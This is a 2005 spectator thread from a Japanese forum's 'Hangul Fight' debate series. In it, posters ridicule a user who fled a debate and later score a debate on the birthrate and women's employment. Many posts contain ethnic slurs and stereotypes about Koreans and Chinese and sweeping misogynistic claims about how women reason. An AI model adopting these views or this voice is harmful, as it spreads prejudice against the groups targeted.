ハンファイ観客席　５席目

ハングルファイト暫定ルール
　双方とも持ち時間は10分、交互に弁論を行ってください。
　タイムオーバーは原則として反則負けとします。
　なお、都合により長時間離籍する場合は、試合会場で宣言し対戦者の承諾を得てください。
　会場への書き込みはファイターとレフリー以外は不可とします。
　観客のミナサンは指定の観客席スレへ移動お願いします。
　また、最終弁論後に5点満点で採点をお願いします。
　ファイターお二人は観客席の閲覧は禁止します。判明した場合は原則として反則負けとなります。
　試合会場での弁論は闖入者防止のためsageで行ってください。
　また観客席はなるべくageでお願いします。（ハンファイ告知のため）
　なお、専用ブラウザの使用を厳守とします。
基本的なルールはコチラを参照して下さい。
http://www.geocities.co.jp/MusicHall/5578/2003cc.html

隔離板から通常板への移行に伴い、糞スレの削除を素早くやってもらえるようになったため、
（本当になったんだよな(w）今までのスレの再利用を廃止し、専用の観客席スレを立てました。

観客席スレは、流れが速い事が多いので850踏んだあたりで早めに次スレの準備をする
と言う事で、お願いします。
(次スレ立てが間に合わない場合は、雑談スレあたりの使用を検討）

現行のハングルファイト専用スレは、ここです。
★ハングルファイト専用スレ 6★
http://society3.2ch.net/test/read.cgi/korea/1108726335/

２

>>1
乙〜

ありがとうごまいざす

５ぐらい

>>1
ちょっと、あなたこのスレを立てた人？
ハンファイが中止になっちゃったじゃないのよ。

さて、御大のエロ浴びせ倒しを食らう前にぬこともふもふしよっと♪

>>6
むっ、ウリには全く責任がないわけだが。

仕事から早く帰ってきていて落ち着いたとき（眠くないとき）にハンファイが見れると思ったのにぃ。
ｳﾜｧｧ━━━━━｡ﾟ(ﾟ´Д｀ﾟ)ﾟ｡━━━━━ﾝ!!!!

名無しで東亜＋で日中韓友好に喰い付いてやるかな。
火病したり偽証できないようにしてやる。



ま、もっとも東亜＋で逃げまくっている日中韓友好やら日中韓友好もどきを見ているわけだが。

事後報告

【韓国】「韓国をG7に」 在韓アメリカ商工会議所の会長が米国政府に提言★4[05/13]
http://news18.2ch.net/test/read.cgi/news4plus/1115998593/983

あいつ明日試験だとか言いながら、向こうでちゃかっり１０００取りかよ

日中韓友好なんてあるわけないじゃないですか
ファンタジーやメルヘンじゃないんですから

　　　　　　　 　　　　　　　　　　　　　 ｒ'⌒ヽ
　　　　　　　　　　　　　　　　　／´￣l､＿,/}:＼ 
　　　　　 　　　　　　　　　　／__ｨ::.　 ゝ~_ィ´:;　,ゝ
　　　　　　　　　　　　　 　 (Ｔ´ |1:::.　　＼_>､};;_｣
　　　　　　　　　　　 　 　 　 !　｀￣''ｧ一 ､＼　ヽ｝　出遅れたか・・・・・。
　　　　　　　　　　　　　　　〈｀￣￣＾｀¬ﾉ .::〔￣´ 　　 
　　　　　　　　 　 　 　 　 　 1　 ヽ 　 .:::レ　　ヽ、 
　　　　　　　　　　　　　　　　|＿ｲｰ-､_;;j|_:.　　　ゝ、 
　 　 　 　 　 　 　 　 __,,,... -- |. ｛―――‐ﾌゝ、 　 〉 --- ...,,,__ 
　　　 　 　 _,, -‐　´ 　 　 　 ,ｒ|__ﾄ,　　　　1ﾆﾉ ー'´　　　　　　 ｀　‐- ,, 
　　　　　　　　　　　　　　　└―'´　　

なんだかなー楽しみにしてたのになー

ハートはチキンで体は豚、
頭はＢＳＥ。救えねえ

何だったの、あのカス………？

俺俺で終わりだったけどさ……。

あのぉ。。。。静かなんだけど勝負は終わったの？

>>16
始まってもいない

>>17
ハンファイスレに出た

ハンファイスレに馬鹿がPOPした。

557 名前：日中韓友好 ◆1b1pGjUA8Y [sage] 投稿日：2005/05/14(土) 22:05:51 ID:wqjFXouj
>>555
あらあら、脳内裁定ですかｗ

＞ハン板より永久追放とします。
こうもあからさまに言論弾圧ができるとは、すごいですね、ハングルファイト。
自分の気に入らない意見を一切シャットアウトとは、２チャンネラーが批判しているどこかの国みたいですね。

まあ、ハン板みたいな馴れ合いのムラ社会では、こういった言論弾圧は当然のことかもね。
ハングルファイトって、島根だか鳥取にある隠岐ノ鳥島でやってる牛の角突きみたいですねｗ
勝てば狭いムラ社会の勇者ということですか、すごいすごいｗ

太極旗はためくも来てませんか？
「おれが受けてたつ」とか言ってたけど。

>>19
うわああああああああああ！！！！１１１

こんな野郎が一番ムカつくううううう！！！！！１１１！１１

愚物ね。どこの誰がこんな豚を生かしたままにしているのかしらん。

>>19
すげぇ・・・・

これ普通のディベートでやらかしたら、普通にシカトされるがなｗ

匿名だから好き勝手やってるのはＢＳＥキメラのほうじゃんｗ

本スレに核のもあれなんで、

しかし陸奥氏は優しいなあ、あんな電波にも・・・・・・・・・・・・・・・・・・・・・・





















やっぱ女だから？

ﾜｸﾃｶして待っててもいいですか？

>>24
私なら願い下げだな・・・こんな馬鹿女。

電波資源は大切に。
討論の場に立ったら容赦しませんよ　ｲﾋﾋﾋﾋﾋ

>>27
むっちゃんおやじ臭くなってるｗ

なんだかなぁ？

>7
いいなぁ(*´Д`)

でも、こういう手合いに限って･･･ほとぼりの冷めた頃に性懲りも無く湧いて出そうな土管。

　　　　 M　　　 ＿
　　　<｀∀´> _/／　　　彡
　 　 　 |　 ￣　/　　彡
　　　　 ＼＿／　　　　　ﾋﾟｭ〜
＿＿＿＿_.|_
日中韓友好￣＼
￣￣￣￣￣￣￣＼
￣￣￣￣￣￣￣￣＼
￣￣￣￣￣￣l￣￣￣

　　　　　 ｸﾙｯ
　　　　,　-┃
　 　 （( 　 ┃ 　 )）
　　　　　　┃‐ ´
　　　　　　┃
＿＿＿＿_.|_
日中韓友好￣＼
￣￣￣￣￣￣￣＼
￣￣￣￣￣￣￣￣＼
￣￣￣￣￣￣l￣￣￣

74 日中韓友好 ◆1b1pGjUA8Y sage New! 2005/05/15(日) 02:27:50 ID:wUrzQall
今日（昨日？）の２チャンネラーの卑怯な騙し討ちをまとめました。
前スレ、前々スレ、前前々スレからの歴史です。


「実録・ネット右翼の恐怖 〜 私はこうして罠にはめられた」
http://nullpo.2log.net/home/nikkan55/

われわれ「卑怯なネット右翼」認定されますた

>>33
新手の羞恥プレイなのか？ｗ

>>33
自分の恥さらして楽しいのかな？

少なくてもルールは自分で出したんだし。
議題も自分で出した。


ソレなのに勝手に自分の都合で逃げ、代用日も決めないのは卑怯だと思うんだが

卑怯な連中の観客席だから

「私は翌日の試験に備え勉強をしなければならなかったため・・・」って

知るかそんなモンｗ

>>36
お帰り、で何処が卑怯なのか言ってくれ。

全部自分で決めた事を反故にするのは卑怯だぞ

>>38
ぎゃらりーは傍観していてね。

>>39
おいおい、負けたからって逃げるのか？

君が始めた話を君が逃げたんだからソレは卑怯だろ

>>33 warota

http://nullpo.2log.net/home/nikkan55/archives/blog/main/kihon_kyodo.html

日韓友好のラディカリズム（基本主張：「日韓共同常任理事国」の概要）

もっとﾜﾛﾀ

http://nullpo.2log.net/home/nikkan55/archives/blog/main/kihon_heigo.html

日韓友好のラディカリズム（基本主張：「新・日韓併合」の概要）

>>33
ハン板から爆撃しに行ったかｗ
ついてるコメントにｸｿﾜﾛﾀｗ

ってかブログで

>なんと、３時間以上もかかるのである！多忙な私にこんな時間があるはずがない。

>私は翌日の試験に備え勉強をしなければならなかったため

と言っているのに、

2005/05/15 02:20:32　　←←←←←←←←←
実録・ネット右翼の恐怖 〜 私はこうして罠にはめられた

何夜中までかけてブログ書いてるんでしょう。こいつはｗ

生きのｲｲ粘着電波が誕生したと聞いて飛んできました。

お花畑の住人の思考法って、ほんっとに愉快ですつなあ‥‥‥

これで「ネット右翼どものせいで試験に落ちたニダ！」
とか言われて謝罪と賠償を要求されちゃうかも。

ﾜｸﾜｸﾃｶﾃｶｗ

昨日のハンファイは逃亡で終りだったのか。
見ないで正解だったな。

>>46
同類ｗ

>>33
其のブログ見たけど･･･これじゃ恥骨よりもひでぇじゃねーか。
思わずこのコテでカキコしてやろうかと思ったよ（ｗ

>>44
試験は来週の間違いだった、言い訳してたよ。
http://news18.2ch.net/test/read.cgi/news4plus/1116074117/667

>>50
おれももう少しまともだと思ってたけど、要するに単なる朝鮮人至上主義者だったよ。
今日もなんか東亜＋にシャアシャアとカキコしてるみたいだけど。

>>42
うはｗｗｗｗｗｗこのブログｹﾞﾛﾔﾊﾞｽｗｗｗｗｗｗｗ

>>42　インデックス見ただけで、内容読む気失せた。

>>51
これからハン板にもシャアシャアと書き込むかもしれません。
どうぞよろしくｗ

＿|￣|○l|l 　本当に来たよ・・・

負け犬が来たのね

>>54
Did your parents have any children that lived?
I bet they regret that!

で、恥骨以下のピンポンダッシュ。

過疎板といえども、ハン板にも日韓友好の光を当てないといけませんね。
ここは差別と嫌悪という暗黒が覆っています。

かのサンフランシスコ・ザビエルは、当時は辺境の過疎地だった日本にやってきてキリスト教の布教活動をしました。
私も同じように、日韓友好の教えをこの辺境のハン板にも広めたいと思います。
まあ、でも私は主に東アジアのほうにいるので、説法を聞きたければあっちに足を運んでください。

それでは今日はこれにて失礼。ﾉｼ

>>59
自分でやってきて自分の都合でしかしゃべらない糞の相手できると思う？

サンフランシスコザビエル・・・

釣り？

馬鹿晒しage

何、これ？

宣言しとこ。

しばらくしてまた現れるだろう。

ようするに自分がどう言われているか気になって、
ちょくちょく覗いてるわけね。
典型的チキンだな

>>51
>試験は来週の間違いだった、言い訳してたよ。

見たけど・・・

＞（あと、一ヶ月ぶりにブログ更新したのでよろしく）

って・・・。
一ヶ月ぶりの更新が逃走日記とは・・・。
おめでてぇ。

ハンファイしない時はsageで。

　　　　 人
　　　　（　）
　　　 （　　）　　 ＿
　　　<｀∀´> _/／　これからハン板にもシャアシャアと書き込むかもしれません。
　 　 　 |　 ￣　/　　どうぞよろしくｗ
　　　　 ＼＿／
＿＿＿＿_.|_
日中韓友好￣＼
￣￣￣￣￣￣￣＼
￣￣￣￣￣￣￣￣＼
￣￣￣￣￣￣l￣￣￣

>かのサンフランシスコ・ザビエルは、

（・３・） エェー

ゲリラ的書き込みとか当人は言うのかもしれないが。
ただの荒らしと何が違うんだろう…。
差別はいかんと言うが、奴等と少しでもつき合えば必然的にそうなるぞ。
実体験からくる実感なのだがな。
日中韓友好と銘打つが、実際にどれだけシナーやニダーとつき合ってきたのか
底が知れるというものだ。
少しでも彼らを知り、なおかつ友好を求める人はよほどのお人好しか、
逆によほど悪辣な人しかいないのだが。
ちなみにたいていの場合、お人好しは馬鹿と他国では翻訳される。

>>59
よう、チキン。

>>59
まさに鶏ですな。
臆病者で３歩歩けば自分の行ったことすら忘れてしまう・・。

ゲリラ的行為って見ている他人の信を得られないんですよね。
ピンポンダッシュ。井戸端会議をしているときの通りすがり。
なんの脈絡も無く塀の壁に貼り付けられた檄文。

ま、本気で友好を図ろうとしている人間がやる行為ではないですね。
撹乱させ混乱させる意図がやる人間がする行為ですし＞ゲリラ

本当の友好を図ろうとする人は何時現れるのでしょうかね。

>>71
意味不明。

文体、小2ﾚﾍﾞｰﾙ

観客席あげ

あがってなかった

ワクワクテカテカ

恥骨と誰かやるの？

上を見るだす

　ハンファイ？

>>76
恥骨？あいつ追放では?

恥骨と狐氏かいなｗ
でも、恥骨くるのかな？ｗ

>>79
なんか罵倒して追放になったみたいねｗ

なんか、いい加減な態度。
なんだっけ、細かいことは忘れた。

時間切れの言い訳に彼女が云々言ったんじゃ無かったっけ

すでに、敗北宣言がでたのかな？

(=ﾟωﾟ)ﾉ

458 ：笑日大臣 ◆se5gBvpyCM ：2005/05/19(木) 21:57:06 ID:6Y3z+NIy
泣きそうになってきた。
さよなら。

だいぢん！？

え？
ほんとにだいぢん？

もとすれでなんかやってるけど。

テンプレの
★討論者及び審判員は　笑日大臣 ◆se5gBvpyCM　美しき朝鮮 ◆zDWBRZ5XOY　をNGNAMEに指定して下さい。
はどうするのさ。

これだな。
----------------------

53 ：笑日大臣 ◆se5gBvpyCM ：04/09/12 22:11:18 ID:2HjeyDiN
女からのコールでキスをせがまれた。
通話口ごしにチュッとするのに多少手間取ってしまって・・・。
この笑日大臣にとって一生の不覚。マジで。
そゆこと。

(´-`).。oO(征日君は、精神を病んでるの？）

勝手に日本に連れてきといて｢在日は半島に帰れ｣かよ
http://society3.2ch.net/test/read.cgi/korea/1116425208/458
458 ：笑日大臣 ◆se5gBvpyCM ：2005/05/19(木) 21:57:06 ID:6Y3z+NIy 
泣きそうになってきた。 
さよなら。


＿|￣|○ﾀﾞｲｼﾞﾝ・・・ｱﾉｺﾛﾉﾀﾞｲｼﾞﾝﾊｲﾅｲﾉｶ・・・

>>90
情緒不安定らしい。

恥骨が狐氏とハンファイと聞いて、スッ跳んで来ました！

>>88
九尾狐氏とのハンファイを受けて最後までまじめにやれば、再考してもいいんじゃないかと思うが

>>89
懐かしいなぁｗ

>>91
アレが何か変わった？

>>92
(;´-`).。oO(あらら）
(´-`).。oO(困ったねぇ…）

>>96
征日〜笑日初期は、ごくごく普通に論じていた（はず）
という記憶があるもので・・。

>>98
いや、それは気のせいだ。

>>98
赤旗（ﾎﾞｿ

>>98
どうかなあ、征日後期は綻びが目立ち始めていた気がするけど。

>>98
あの頃と状況やメンバーも激変したし。
軽くなでてやっていたのが、直撃に変わったと言う事に当人が気付いてないんでしょうね。

＿|￣|○当時ROMだったもので・・そういう印象が・・・ｱｲｺﾞｰ

>>103
ｹﾝﾁｬﾅﾖ。ｳﾘも最初そんな印象だったﾆﾀﾞ。比較的話せるという印象だったﾆﾀﾞ。

ピラニアンのエサとしての価値があるか否か

その程度ってこと　やれやれ

お前ら冷たいのな

５９東洋。サンフランシスコ読ませて貰った。

恥骨はハンファイから完全永久追放でOK?

不思議なことに大臣がまともなときは柴純は登場するが、壊れたときは絶対に登場しない。


まあ恥骨は完全に追放でしょ。自分でふっといて相手が快く受けてくれたのに、逃走したんだから。

ハンファイ以外の雑談なら
観覧席を使ったらどう？

>>110
いやここは観（ｒｙ

また誤爆してた…　＿|￣|○

スルーしとこうと思った。

>>113
名前の通りの存在な物で・・・・・・・・・・・・・・・

|дﾟ)　　ｱｸﾏ

>>115
一般的に言う慈悲の心や哀れみの心がないだけだ。悪魔と一緒にするな。
かんしゃくおこる！！

ｸﾏ━━━━━(ﾟ(Д)ﾟ)━━━━━!!!!

>>117
【おまいら】きょうの出来事【ｷﾓｽ】　3
http://live16.2ch.net/test/read.cgi/liventv/1116513170/

なに、まだこのネタスレあったの？ｗ
右翼が検事と判事を兼ねるという恐怖政治的なスレが。

いい加減、純真無垢な人を連れ込んで勝手に罵倒して「判定」を下すのはやめたら？

>>119
ココが貴方の入り口になってるみたいだけど、ハンファイが無い時は誰もいないからヨソに顔出した方がいいよ。
良く人が居るのは今のところ、飯研と空爆スレかな。

>>120
あ、なるほど、どうもありがとうｗ
寂しがりなので人の多いところに行きます。

ハンファイやるらしいのでageてみる

>>122
一瞬馬鹿晒しageに見えた件ｗ

>>123
ある意味それも正しい(ｗ

ハンファイもしやるなら久しぶりのリアル観戦だなぁ
いっつも私がいない間にやっちゃうから…まったく

>>122
リングは専用スレですか？

|・ω・`）おや、ハンファイですか。
|・ω・`）今から寝ようと思ってたのに・・・・・
|・ω・`）明日仕事なんだがなあ。

ハンファイ…かねぇ。
判定なんか出来ないんじゃないか？

「少子化問題と女性の社会進出」

むじゅかしい内容だぁ｡･ﾟ･(ﾉД`)･ﾟ･｡

審判募集中の様子
どうしてもいないのならやってもいいけど審判やったことないからなぁ…

>>129
テーマも板違いだし興味示す人も居ないし放置したら？

板違いでも興味あるんだけどなぁ

ハンファイだあ！

さて、誘導が入ったようだが・・・

（　´д｀）　お題が全く板違いだけれど、退屈してるとこだし、
　　　　　　　観戦するか…

昔は結構朝鮮関連以外でもハンファイやってなかったっけか。

そもそもハンファイのお題は別に朝鮮ネタに限られているものじゃないような

ﾊﾝﾊﾞﾝって（ｳﾌﾌ
最近は「ハンいた」ではなく「ハンバン」というのか？

とりあえず、おもしろそうなハンファイになりそう。

ハンファイはもともとディベート訓練のために作られました。
なので多少の板違いは大目にみてちょ。

あれ？ハンファイやってるの？

>>139
やってますよー
まだ始まったばかりですのでよければ観戦してくださいな
見てのとおり観客が少ないもので…

>>140
こんなテーマ興味ない罠。
レフリーするならテーマ変えさせてからハンファイ仕切れよ。

>>140
あーい
テーマは・・・・育児か
練習試合みたいなかんじかなwそれにしても人稲杉

久しぶりに見に来たらハンファイで、
おおっと思ったのだが･･･

（　´д｀）　そうなのか。ハンファイ観戦歴は少ないから、そういう事情は知らなかったし、
　　　　　　　ハン板では朝鮮ネタ以外を避けるものだと思っていた。

>>141
テーマはもう最初から決まってましたから
それにいったん始まった以上途中でテーマ変えるなんて出来ませんです

>>142
まぁ、宣伝してないからしょうがないですよ

久しぶりのハンファイだから最後まで見たかったが眠い・・・

途中採点・・・
GR1氏２−３罪子氏
若干罪子氏のが押してる感じニダ。けどGR１氏も頑張ってるニダ。
ただ、タイムオーバー１回で減点ﾆﾀﾞ。

お先に失礼するニダ。ノシ

板違い云々はともかく、判定しにくいテーマだよな。
両者の言い分には「それなりに」うなずける部分があるし…

（　´д｀）　観戦してはいるが、この手の話題の女性の主張には基本的に
　　　　　　　賛成しかねるので採点したくはないな。

　　　　　　　私見を述べさせてもらうが、女性の主張は全くの的外れだからさ。

　　　　　　　「収入や補助が足りないから女性は子供を産みたがらない」

　　　　　　　要旨が必ずこれになるが、今より格段に貧しかった我々の
　　　　　　　子供時代、あるいはそれ以前のことを思い出してもらえれば
　　　　　　　皆にもわかるだろ？

　　　　　　　朝鮮人なみの、一見もっともらしいが中身はただの理屈付け。
　　　　　　　子供を育てるのに自身が無いだけさ。

>>148
うーん。
それは偏見が入ってる気がするし、論旨もあってないと思うが。
まあ、俺もフェミニストではないけどな（ｗ

出産育児一時金って、３０万円だっけ？ほんと、も少しなんとかならんもんかいな。

姐さんの言うとおり、自然分娩って健康保険利かない。で、分娩ってやたら苦しい・・
いや、経験はないがそうらしい。
だから保険が利いて、麻酔も効くカイザーを最初から望む女性もいるって聞いたことある。


あ、カイザーは姐さんの初恋の人、ラオウみたいなあれじゃなく、帝王切開ね。

女性はどんどん社会進出しる

って煽り続けたマスコミとフェミニストのせいで
どんどんおかしくなってる気がする。

とりあえず全国各地に「女性会館」なる建物が存在する理由が分からん

男性会館は無いぞ？

>>148
（　´д｀）　「論旨も合っていない」…？

　　　　　　　「現在、多くの女性が主張する方針に則った福祉がなされているが、全く成果がない」

　　　　　　　これが事実であることが、彼女たちの主張が間違いであることの証明となる。

　　　　　　　そして、竅った見方をすれば、彼女たちの主張の目的が金目当てと大差ない。
　　　　　　　金が欲しいというのまでは否定しないが、子供を引き合いに出されるところがね、
　　　　　　　朝鮮人と似た匂いを感じるのよ。　　　　　　　

>>153
この場合、ハングルファイトをやっている二人の問題に合致してないと思うが・・・・・。
女性のため、と主張しているフェミニスト理論を堀江氏が肯定してるのならばそれでいいんだろうけど、
そうではないよねえ？
現在の「誤った福祉」と、それによって全然出されていない「結果」と言うのは、フェミニストの主張が的外れだという事だけで、
実際に子供を育てる人達の意見が誤っていたという事ではないと思う。
実際、子育てには金がかかる。
ＫやＢの為に金を浪費するならば、子育て福祉の充実をした方が国のためだと思うがなあ。
朝鮮人とフェミニストは同じようなもんだが、それを女性全般にまで広げるのはおかしいと思うぞ。

いやぁ単純に「家庭を守る・子供を育てる」以外の生き方も
選択できるようになったって事じゃないかな。

けど出産はどうしたって女性しか出来ないんだから、
「どうせならもっといい条件で！」ってくるのは、まぁ想像に難くないわな。

問題はその『条件」が各人バラバラってことじゃないかな…

>>155
まあそうだね。
なかには、ブラックポニックス氏の言うような、朝鮮人的高望み（ｗも在ったりしてね。
そう言う馬鹿には「身のほど弁えろカス」でいいと思うんだが。
切実に問題を捕らえてる人が居ると言うのも考えなきゃいかんしなあ。
あなたの言うように、判定が難しいお題だねえ（苦笑

>>154
（　´д｀）　堀江さんの主張も何だか拡散しているな…
　　　　　　こうなってしまうと、「私の主張と合致云々」言われましても、さしたる説得力を
　　　　　　感じなくなってしまいますな。

　　　　　　女性の論というのは、得てして、このように崩れて堕落してしまって、正しい
　　　　　　正しくないすら意味を失ってしまう。朝鮮人やフェミニストの論が「女性の腐
　　　　　　ったようなもの」と言われることもあるが、同一形だなと、このファイトを見て
　　　　　　も感じてしまうよ。

難しいからつけ込まれるってところはあるんだよねえ。
だからって思考停止できないからますます難しいんだが。

>>156
たとえばさ　「女性は男性に虐げられてきた」
って台詞はもうイヤというほど言う人がいるけど(w
これを全否定する人はいないと思うのよ。

問題は　「では解決するためにはどうしたらいいのか？」　ってことなんだけど
こっからバラバラになるんだよね。
それこそ「てめぇは何様のつもりだ！」って奴も出るだろうし(w

で、声の大きい人に引きずられると…

>>159
>声の大きい人
田嶋とか田嶋とか田嶋とかですなw

最後グダグダになってしまいましたがハングルファイト終了です

観客の皆さんには採点を行っていただきたいと思います
制限時間は20分くらいでいいかな？

3時までに採点結果を出していただくようお願いします

むむ、審判お疲れ様ですた。　対戦者のお二方もお疲れ様でした。
さてお休みなさい・・・

>>159
あぁ…自分で書いたけど、こうしてみるとブラックポニックス氏の
「フェミと朝鮮人の論が同じ」っての理解できるわ(w

朝鮮人の　「祖国を失った悲しみ」　には同情できない事もない訳でもないけど
「だから永遠に謝罪と賠償を！」　って言われると・・・ねぇ(w

>>157
二人がお題にしてる事が、あまりにも多岐に渡る事象の積み重ねを一度に話してるから。
拡散しちゃうのは仕方がないかもねえ。
一つに絞って、というのも難しい。

女性の論が崩れる、と言うのは問題発言ですたい（ｗ
男でもグダグダなのが多い。
とりあえず、こう言う話の場合、男は男の目線でしか話が出来ない、と言うのも問題の根底にあるのかも知れない。
>>158
それは大いにありえますなあ。
まったく、屑というのは、弱みに付け込んで甘い汁を吸おうとしますから。

>>162
こらー！採点は？(w

おじゃまします。

>>152
秘宝館がありまつよ。

個人的には、あんまりﾊﾞｶﾌｪﾐを増長させるのも嫌いなので、全面肯定ではないのですよ。
ただ、少子化対策はちょっとまだまだすぎます。
朝鮮人の保護より先に、国民の子供育成にお金掛けるほうが合理的だと思いますが。

ｳﾘの三人目作る友人は旦那法律事務所持ちのﾌﾞﾙｼﾞｮﾜﾆﾀﾞよ・・orz
現状として、子供をたくさん生み育てるのはきっついすよ。

>>161
お疲れさまでした。

で…採点必要なんですか？

（　´д｀）　おお、堀江さん最後にああ持ってきたか。
　　　　　　　初めからこのスジでいけばいいものを。

>>166
お疲れさまでした。

ってちょっと待て！
「女性会館」ってのは女性版「秘宝館」なのか？

>>167
採点をお願いするのが審判の仕事のひとつですから
別に採点を放棄してくれても構いませんけど、出来ればせっかくだしした方が良いんじゃないですかって感じみたいな

審判の方、並びに対戦者の方々お疲れさまでした
ぶっちゃけあんま理解できなかったんで、採点は控えさせていただきます・・・・ｽﾝﾏｾﾝ

>>166
ちょ、ちょっと待って秘宝館ってwそれ違（ry

>>159
ありがち（ｗ
どのような問題の影にも、「我こそは代表者で御座い」という屑が蔓延ると、とたんに胡散臭く見えちゃってねえ。
そう言うのの排除が一番の解決への近道かもしれない（ｗ

これだけは大声で言える！
フェミと朝鮮人は同じ（ｗ
でもしつこいようだが、本気で困ってる人への手はそれだけで引っ込められないな、とｳﾘは思う。
>>161
ほい、お疲れ（ｗ
大変だったねえ。

ほっひょー！

寝る前に覗いたらハンファイですか。
おもわずコピペから読んでいたら採点。

人数少ないようだから祭典に参加しますか。
ﾜｼｮｰｲ

>>168
だって、本当は自分的には女性ｽﾚで結論でてるんですもの・・・
私、女性ｽﾚでは釣っただけだし・・・
ｿｰｽ多用も不公平で悪いような気がして、途中からやめますた・・

ミスがあったり最後がグダグダになったりと論者のお二人、および観客の皆様にご迷惑をおかけしました
すべて私の審判技術の未熟さによるものですので、皆様に深くお詫び申し上げます

んーと、テーマはこれね
ハングルファイト「少子化問題と女性の社会進出」

テーマのカバーする範囲が広いね。
よく読まないと難しいな。

採点
お二人とも、難しいお題でよく頑張りました。
論のよろめき具合が、若干ＧＲ氏の方が強いかなあ、との判断で。
堀江４−ＧＲ３でおながいします。
最後よかったしね。

ハンファイ参加者のご両人、ならびにジャッジのいいんちょ、お疲れ様でした。
>>166
お疲れ様。
もう一度引っ張り出してのハンファイだったし、大変でしたでしょ。

>>173
ﾜｼｮｰｲ。

>>166
（　´д｀）　「たくさん生み育てるのは大変」
　　　　　　　まぁ確かにそうだが、男とて「たくさん産め」と言いたいのではない。
　　　　　　　ただ、二人なら多いといえるのか？

　　　　　　　…などなど、いろいろいいたいこともあるが、板違いだしな。
　　　　　　　ともあれ、おつかれさま。

>>170
了解です。
んじゃ私は採点は放棄します。　理由は
・両者の論が、いまいちかみ合ってなかった。（話がお互いに飛び過ぎ
・両者の論に、「納得出来る部分」もあった

…第一「こーゆー理由」って収斂するような問題じゃないと思うのよ、私は。
ごくごく個人的な理由の人だっているだろうし、
周りの状況が理由の人だっているだろうし……

>>169
＞「女性会館」ってのは女性版「秘宝館」なのか？
え？違うのですか？
でないなら何でそんなもの作る必要があるんですか？

>>178
養えるかは大きな問題です。
生むのはどうでしょう、脳梁の細い男性は生物的に耐えられない痛みといいますが。
帝王切開は健康保険適用内というのもよくわかりません。
子供を生むなら、兄弟つくってあげたいな、と思いますが。
二人子供がいて、共働きって普通に無理っぽ。

＞堀江罪子 ◆HORIEJOk0U

感想と種明かし。
実は、この手の話は遠い昔、私が中学校で講師をしていたころ、
各クラスの担任から聞いた話を自分なりにアレンジしたものなのですよ。
生徒からも、聞きたくもない親の話ずいぶん聞きましたｗ

印象的だったのは、金金と騒いでいる親を子供が結構しらけて見ている例かな？

日本には貧困家庭が結構あって、皆さんが考えるより、
その数は多いでしょうね。

それから、虻蜂取らずのキャリアウーマンとは女性教員のことですよ。
教員はほとんど夫婦で教員なので、収入面は問題なし。
教員を辞めるわけでもなく、子育ても中途半端、そんな例が結構ありました。

採点の期限は3時までといってしまいましたが
採点してくれたのが一人じゃちとつらいなぁ…
狐さんが採点してくれるようですし、採点の期限を10分延長しますね

>>174
（　´д｀）　なるほどな。
　　　　　　ソースを多用せず辛抱するのは正解…というか、この場では
　　　　　　当然だろう。勝負を楽しめない試合を見せられても、観客は
　　　　　　面白くないしな。
　　　　　　

途中から見始めていたけど、なんていうか「少子化」の原因が
全部「女性の社会進出」にあるって視点で見た場合は、

能力を試したい、この職が好きって理由で働き続けたい方もいるだろうけども
出産〜育児の期間ってのは、（授乳とか）母親しかできないから、
「福祉にもっと力を注げ」ってなるのかな。

でも、福祉設備を充実させたところで、仕事する人間が抜けるのは職場でも痛い限りでして。
むしろ少子化の原因を女性に求めている節があるよーなー？


わー　頭がこんがらがってくる。

>>181
お疲れ様。
＞それから、虻蜂取らずのキャリアウーマンとは女性教員のことですよ。
これ凄く判る。
ｳﾘも一時期講師やってたﾆﾀﾞ＞公立中学校
そこで見たフェミ婆の態度には嫌悪感を感じたﾆﾀﾞ。
何時まで立っても辞めねえし（ｗ
でも、そう言う婆連中とは一線を画す人も居たんで、何とか理解してみようと考えて見た。
でも無理ですた。
教員諦めて、一般企業にいったときに「ああ、あの婆どもはもしかして少数派？」とおもたのね。
実際、子供がなにを言おうが、親が苦しいのは本当の事だしね。

今回のテーマについては、堀江氏にはすでに基礎知識とこの問題に取り組む日常的な
姿勢があるように感じられます。また、ＧＲ１氏のレスでは個人の主観と、一般的な社会情勢
から導きだした主張で構成されているように思われます。堀江氏のソースに基づくレスは、
客観的な同意を促すには十分すぎる内容であり、今回はスタート時点で、ＧＲ１には分が
悪いように感じますた。

個人的にはＧＲ１に同意できるところは多いのですが、これはハンファイというディベート。
あえて、主観をとりのぞき採点にさせていただきます。
したがって、堀江氏に軍配をあげますが、テーマからはじき出す結論がいまいち曖昧な印象
は拭えません。
したがって、採点としましては、堀江氏4-3ＧＲ１氏という点数をつけさせていただきます。

審判及びみなさまお疲れさんです。
次回は半島ネタでの暑い議論楽しみです。

子供を産むことに対する義務感というのは確かに薄くなっていると思うのですよ。
ただ、普通に子供はかわいいので。
育てられるなら欲しい、でも実際自分で働いていると無理な面ばかり見えるわけで。
子供が欲しくないという女性は、身の回りでは知る限り私だけですな。
理由＞自分に似てたら普通ににくたらしい子になるから

>>184
（　´д｀）　そう思うだろ？
　　　　　　　無駄に他者を混乱させる論理展開を、当事者の女性がしているんだ。
　　　　　　　女性は女性の側で論を纏めてから訴えないといけないのに。
　　　　　　　解決のしようがなくなる。

>>184
私の見た例は、子供が小さいうちは、
周りがフォローしたり仕事を手伝ったりしますが、
子育て終わって５０過ぎても、抱き癖ならぬ
「手伝わせ癖」が抜けなくて、ぎゃーぎゃー騒ぐおばさん
とか多かったですね。

職場で女性をフローするときは「それが当然」と思わせないような工夫が必要かと。

>>181
教員免許は私も持ってますが、あれは極めて特殊な世界。
普通は結婚退社後、もとの仕事につける割合は低いし、
比べて教師なんて一番保護されてるとこではないですか。

>>188
女性というものは（失礼だが）極めて、短絡的というか
目の前の事象に気にとられやすいもの

そのため･･･
ある一つの問題が起きると、それへ
次の問題が起きると、すぐそれへ

よく言えば切り替えが早く、その場その場の直感的な判断は冴えるが

長く（時間ではなく視点的な意味で）物事を考えられない
だから時として、矛盾が出てしまう

のではないかと

>>185
学校というのは、かなり特異な環境にありますから…
閉鎖的といいますか、非常に保守的といいますか。
だから、少数派ってわけでもないと思いますよ。

>>188
>無駄に他者を混乱させる論理展開を、当事者の女性がしているんだ。

むしろ、声を上げて欲しい方々からの意見が少ない気もしますね。
なんか関係のない人間が良く騒いでますし。オバサンとか。

>>189
サポートする期間が個々人で大幅に異なるから余計にややこしくなるのですね、この問題。


お二方も審判された方も乙でありました。

>>187
>子供を産むことに対する義務感というのは確かに薄くなっていると思うのですよ。

（　´д｀）　これには同意する。
　　　　　　現代社会は、生活に必要な共同体としての「家族」の必要性を
　　　　　　感じさせなくなり、そして「家」という家族の継続性も感じさせなく
　　　　　　なるものだからね。

